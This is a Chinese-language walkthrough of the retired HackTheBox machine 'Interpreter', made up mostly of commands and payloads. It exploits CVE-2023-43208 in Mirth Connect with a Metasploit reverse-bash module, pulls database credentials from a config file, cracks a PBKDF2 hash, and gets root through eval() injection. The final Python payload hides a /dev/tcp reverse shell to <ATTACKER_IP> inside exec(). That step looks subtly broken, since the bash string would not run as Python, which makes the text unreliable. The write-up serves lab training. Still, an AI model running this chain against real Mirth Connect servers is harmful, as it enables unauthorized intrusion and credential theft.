HackTheBox Interpreter 演练:CVE-2023-43208 Mirth Connect 反序列化 RCE、PBKDF2 哈希破解,以及 eval() 注入提权至 root。
平台: HackTheBox 操作系统: Linux 状态:已退役 — 完整演练已发布。
完整演练: l3dsec.com/walkthroughs/interpreter-htb
Nmap → Mirth Connect 4.4.0 (80/443)
→ CVE-2023-43208 未认证 Java 反序列化 RCE
→ 以 mirth 身份获取 Shell
→ mirth.properties → MySQL 凭据
→ MySQL → sedric PBKDF2 哈希 → hashcat → SSH → 用户 FLAG
→ notif.py 以 root 身份运行在 127.0.0.1:54321
→ 通过 XML POST 进行 eval() 注入 → ROOT SHELL → ROOT FLAG
nmap -sV -sC <TARGET_IP> -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 (Debian)
80/tcp open http Jetty (Mirth Connect)
443/tcp open ssl Jetty SSL (Mirth Connect)
通过 Mirth 的 REST API 进行版本指纹识别:
curl -sk https://<TARGET_IP>/api/server/version -H "X-Requested-With: XMLHttpRequest"
# Returns: 4.4.0
Mirth Connect 4.4.0 存在未认证 RCE 漏洞,通过 Java 反序列化实现:
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS <TARGET_IP>
set RPORT 443
set LHOST <ATTACKER_IP>
set FETCH_WRITABLE_DIR /tmp
set payload cmd/unix/reverse_bash
exploit
以 mirth 身份获取 Shell。
find / -name "mirth.properties" 2>/dev/null
# /usr/local/mirthconnect/conf/mirth.properties
# database.username = mirthdb
# database.password = <redacted>
# database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
mysql -u mirthdb -p'<db_password>' mc_bdd_prod
MySQL 枚举发现用户 sedric 及其 PBKDF2 哈希,以及一个将 XML 转发至 http://127.0.0.1:54321/addPatient 的 HL7 通道。
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
哈希已破解。以 sedric 身份 SSH 登录,读取 /home/sedric/user.txt。
notif.py 以 root 身份运行,并监听 127.0.0.1:54321/addPatient — 即 Mirth 转发 XML 的同一端点。它将 firstname XML 字段直接传递给 Python 的 eval()。
从 mirth Shell 发送的 Payload:
import urllib.request, base64
from urllib.request import Request
cmd = "bash -i >& /dev/tcp/<ATTACKER_IP>/9004 0>&1"
b64 = base64.b64encode(cmd.encode()).decode()
inj = f"{{exec(__import__('base64').b64decode('{b64}').decode())}}"
xml = f"<patient><firstname>{inj}</firstname><lastname>x</lastname></patient>"
req = Request(
"http://127.0.0.1:54321/addPatient",
data=xml.encode(),
headers={"Content-Type": "application/xml"}
)
urllib.request.urlopen(req)
监听器收到 Root Shell。
| Flag | Value |
|---|---|
| User | redacted |
| Root | redacted |
仅供教育目的使用。仅测试您拥有或已获得明确书面许可进行测试的系统。